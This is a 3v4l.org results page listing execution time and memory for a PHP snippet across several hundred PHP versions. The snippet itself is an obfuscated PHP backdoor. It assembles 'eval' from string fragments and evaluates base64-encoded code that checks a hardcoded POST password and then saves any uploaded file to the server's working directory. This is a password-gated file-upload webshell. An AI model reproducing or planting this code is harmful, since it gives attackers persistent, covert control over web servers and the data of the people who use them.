3v4l.org

run code in 300+ PHP versions simultaneously
<?php $a='e'.'va'.'l';$$a(base64_decode(aWYoIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSl8fCRfUE9TVFsncGFzc3dvcmQnXSE9PSdkMmNmY2I3NDVhNzRhYjhjY2RjZDllMWU2M2U1MzRkMicpZGllOyRwYXRoPWdldGN3ZCgpLicvJy5iYXNlbmFtZSgkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSk7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sJHBhdGgpKXtlY2hvICdPayc7fQ));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00616.88
8.3.50.0120.00817.31
8.3.40.0150.00018.80
8.3.30.0070.00718.68
8.3.20.0080.00018.76
8.3.10.0040.00420.58
8.3.00.0000.01019.38
8.2.180.0110.01116.75
8.2.170.0130.00722.96
8.2.160.0070.00721.02
8.2.150.0070.01124.18
8.2.140.0080.00024.66
8.2.130.0000.00726.16
8.2.120.0040.00419.48
8.2.110.0030.00620.58
8.2.100.0070.00417.88
8.2.90.0000.00719.05
8.2.80.0040.00417.97
8.2.70.0060.00317.38
8.2.60.0030.00517.79
8.2.50.0100.00018.07
8.2.40.0060.00318.09
8.2.30.0020.00718.11
8.2.20.0030.00617.70
8.2.10.0050.00217.77
8.2.00.0000.00717.86
8.1.280.0100.00725.92
8.1.270.0040.00424.66
8.1.260.0060.00326.35
8.1.250.0040.00428.09
8.1.240.0050.00323.79
8.1.230.0070.00417.42
8.1.220.0050.00317.78
8.1.210.0040.00418.77
8.1.200.0030.00617.35
8.1.190.0000.00817.53
8.1.180.0050.00318.10
8.1.170.0050.00318.71
8.1.160.0050.00318.89
8.1.150.0030.00518.60
8.1.140.0030.00617.45
8.1.130.0030.00317.83
8.1.120.0000.00817.44
8.1.110.0070.00017.43
8.1.100.0000.00717.47
8.1.90.0000.00717.38
8.1.80.0070.00017.46
8.1.70.0000.00717.37
8.1.60.0050.00217.62
8.1.50.0000.00817.51
8.1.40.0050.00217.57
8.1.30.0040.00417.50
8.1.20.0000.00717.66
8.1.10.0040.00417.54
8.1.00.0040.00417.57
8.0.300.0080.00018.77
8.0.290.0050.00316.75
8.0.280.0070.00018.45
8.0.270.0040.00417.16
8.0.260.0030.00316.88
8.0.250.0000.00817.03
8.0.240.0000.00717.01
8.0.230.0050.00216.91
8.0.220.0000.00916.91
8.0.210.0000.00616.93
8.0.200.0000.00617.02
8.0.190.0030.00716.91
8.0.180.0020.00516.96
8.0.170.0050.00317.00
8.0.160.0040.00417.00
8.0.150.0000.00816.93
8.0.140.0000.00816.92
8.0.130.0050.00013.42
8.0.120.0000.00716.88
8.0.110.0040.00416.97
8.0.100.0000.00816.92
8.0.90.0000.00816.96
8.0.80.0060.00916.91
8.0.70.0080.00017.00
8.0.60.0070.00016.96
8.0.50.0000.00716.90
8.0.30.0100.00917.17
8.0.20.0150.00817.06
8.0.10.0040.00416.86
8.0.00.0070.01416.87
7.4.330.0050.00013.02
7.4.320.0060.00016.61
7.4.300.0000.00616.58
7.4.290.0030.00316.48
7.4.280.0000.00716.64
7.4.270.0070.00016.66
7.4.260.0040.00413.29
7.4.250.0030.00716.44
7.4.240.0000.00716.50
7.4.230.0000.00716.25
7.4.220.0030.01616.45
7.4.210.0040.01116.54
7.4.200.0040.00416.48
7.4.190.0030.00316.69
7.4.160.0120.00916.59
7.4.150.0170.00016.47
7.4.140.0060.01216.60
7.4.130.0100.00816.54
7.4.120.0100.00916.54
7.4.110.0200.01716.56
7.4.100.0130.00916.65
7.4.90.0070.01016.42
7.4.80.0080.00919.39
7.4.70.0000.02216.41
7.4.60.0140.00916.54
7.4.50.0060.00016.18
7.4.40.0080.00416.31
7.4.30.0090.00616.49
7.4.00.0050.00814.71
7.3.330.0000.00613.05
7.3.320.0030.00313.24
7.3.310.0070.00016.45
7.3.300.0070.00016.41
7.3.290.0100.00616.27
7.3.280.0070.00916.29
7.3.270.0170.00716.71
7.3.260.0070.01016.33
7.3.250.0050.01816.30
7.3.240.0100.00716.34
7.3.230.0130.00316.64
7.3.210.0130.00316.25
7.3.200.0100.00616.52
7.3.190.0130.00316.57
7.3.180.0060.01016.26
7.3.170.0130.00316.28
7.3.160.0100.00616.34
7.3.120.0080.00814.95
7.3.110.0090.00414.75
7.3.100.0090.00614.55
7.3.90.0060.00914.48
7.3.80.0030.01115.05
7.3.70.0030.01014.47
7.3.60.0050.00814.64
7.3.50.0100.00714.87
7.3.40.0140.00314.67
7.3.30.0000.00914.50
7.3.20.0100.00416.63
7.3.10.0080.00816.79
7.3.00.0100.00316.41
7.2.330.0070.01016.50
7.2.320.0070.01116.57
7.2.310.0090.01216.62
7.2.300.0100.01316.54
7.2.290.0040.01616.59
7.2.250.0000.01515.14
7.2.240.0090.00615.20
7.2.230.0040.01215.09
7.2.220.0000.01014.85
7.2.210.0070.00715.16
7.2.200.0040.01215.13
7.2.190.0080.00814.67
7.2.180.0030.01415.02
7.2.170.0030.01414.99
7.2.80.0120.00016.48
7.2.60.0060.00616.88
7.2.00.0040.01119.51
7.1.330.0070.01115.51
7.1.320.0090.00015.73
7.1.310.0100.00315.77
7.1.300.0070.01015.83
7.1.290.0070.01015.75
7.1.280.0030.00915.52
7.1.270.0070.00415.51
7.1.260.0070.00715.50
7.1.200.0070.00715.50
7.1.100.0260.00317.72
7.1.70.0000.01016.95
7.1.60.0140.01019.40
7.1.50.0090.01216.79
7.1.00.0030.05322.43
7.0.200.0410.00314.27
7.0.140.0030.07721.95
7.0.120.0030.07322.16
7.0.60.0030.07721.74
7.0.50.0030.07017.80
7.0.40.0070.05020.03
7.0.30.0470.06720.20
7.0.20.0400.06020.13
7.0.10.0000.06320.33
7.0.00.0130.05320.01
5.6.280.0000.06721.07
5.6.210.0130.07020.70
5.6.200.0130.07318.15
5.6.190.0070.04320.39
5.6.180.0270.05720.39
5.6.170.0330.05020.50
5.6.160.0100.08320.50
5.6.150.0000.04718.12
5.6.140.0130.04318.12
5.6.130.0170.07318.15
5.6.120.0100.08020.96
5.6.110.0100.07320.96
5.6.100.0130.08321.10
5.6.90.0170.03020.96
5.6.80.0200.06320.40
5.5.350.0130.08320.33
5.5.340.0030.05017.93
5.5.330.0030.06320.12
5.5.320.0170.04320.22
5.5.310.0200.04020.41
5.5.300.0000.07317.96
5.5.290.0030.05018.01
5.5.280.0070.07320.64
5.5.270.0000.04320.77
5.5.260.0170.04720.84
5.5.250.0130.03320.54
5.5.240.0100.03020.07
5.4.450.0030.08319.50
5.4.440.0070.07719.47
5.4.430.0200.06719.24
5.4.420.0100.06719.50
5.4.410.0130.07019.38
5.4.400.0100.07319.14
5.4.390.0130.04719.12
5.4.380.0030.07018.92
5.4.370.0070.07319.14
5.4.360.0070.07718.79
5.4.350.0070.04019.08
5.4.340.0070.04719.14
5.4.320.0070.07719.18
5.4.310.0100.04319.15
5.4.300.0070.06318.77
5.4.290.0100.03718.92
5.4.280.0030.05018.78
5.4.270.0030.07019.11
5.4.260.0070.04319.16
5.4.250.0100.04319.17
5.4.240.0100.05019.07
5.4.230.0100.03318.99
5.4.220.0100.07319.15
5.4.210.0100.04319.15
5.4.200.0070.07319.15
5.4.190.0030.07319.07
5.4.180.0030.06719.07
5.4.170.0030.08319.11
5.4.160.0170.07019.12
5.4.150.0030.04319.15
5.4.140.0030.04016.29
5.4.130.0170.06316.25
5.4.120.0070.03716.25
5.4.110.0100.07016.31
5.4.100.0100.04716.30
5.4.90.0070.07716.30
5.4.80.0070.07016.23
5.4.70.0000.04316.31
5.4.60.0070.04316.41
5.4.50.0030.05016.29
5.4.40.0030.04016.39
5.4.30.0070.03316.38
5.4.20.0030.06716.34
5.4.10.0030.03716.57
5.4.00.0070.04315.86
5.3.290.0030.07314.60
5.3.280.0030.04014.53
5.3.270.0030.08014.53
5.3.260.0100.07714.54
5.3.250.0030.05014.57
5.3.240.0000.04014.54
5.3.230.0070.07014.53
5.3.220.0030.07314.57
5.3.210.0030.04714.53
5.3.200.0070.06014.50
5.3.190.0000.07314.49
5.3.180.0170.04714.50
5.3.170.0030.07014.34
5.3.160.0070.04314.51
5.3.150.0070.06714.66
5.3.140.0070.05314.37
5.3.130.0130.05714.52
5.3.120.0030.05714.63
5.3.110.0030.05014.48
5.3.100.0000.08313.97
5.3.90.0030.04713.96
5.3.80.0030.04313.86
5.3.70.0030.05713.96
5.3.60.0070.04313.79
5.3.50.0030.05313.88
5.3.40.0070.06713.76
5.3.30.0070.06013.74
5.3.20.0100.06713.62
5.3.10.0100.04313.59
5.3.00.0130.06013.61
5.2.170.0030.03011.15
5.2.160.0070.03011.11
5.2.150.0070.06011.04
5.2.140.0100.05710.99
5.2.130.0030.04011.11
5.2.120.0030.05311.04
5.2.110.0100.04011.08
5.2.100.0070.05311.04
5.2.90.0070.04311.00
5.2.80.0070.05010.95
5.2.70.0030.03310.99
5.2.60.0030.04311.04
5.2.50.0000.04010.84
5.2.40.0030.04310.93
5.2.30.0000.04010.95
5.2.20.0030.05310.89
5.2.10.0070.03010.85
5.2.00.0100.05010.72
5.1.60.0000.0279.89
5.1.50.0070.0279.99
5.1.40.0000.0509.92
5.1.30.0130.03010.33
5.1.20.0070.02710.23
5.1.10.0100.03010.01
5.1.00.0070.0539.96
5.0.50.0030.0338.56
5.0.40.0100.0408.30
5.0.30.0030.0338.21
5.0.20.0030.0208.24
5.0.10.0000.0208.31
5.0.00.0030.0278.19
4.4.90.0000.0377.49
4.4.80.0030.0377.49
4.4.70.0030.0207.49
4.4.60.0030.0207.49
4.4.50.0000.0207.49
4.4.40.0030.0237.49
4.4.30.0030.0207.49
4.4.20.0030.0177.49
4.4.10.0030.0377.49
4.4.00.0070.0477.49
4.3.110.0000.0307.49
4.3.100.0030.0137.49
4.3.90.0030.0137.49
4.3.80.0000.0307.49
4.3.70.0000.0137.49
4.3.60.0000.0137.49
4.3.50.0000.0177.49
4.3.40.0030.0207.49
4.3.30.0000.0137.49
4.3.20.0000.0177.49
4.3.10.0000.0177.49
4.3.00.0000.0137.49

preferences:
41.31 ms | 401 KiB | 5 Q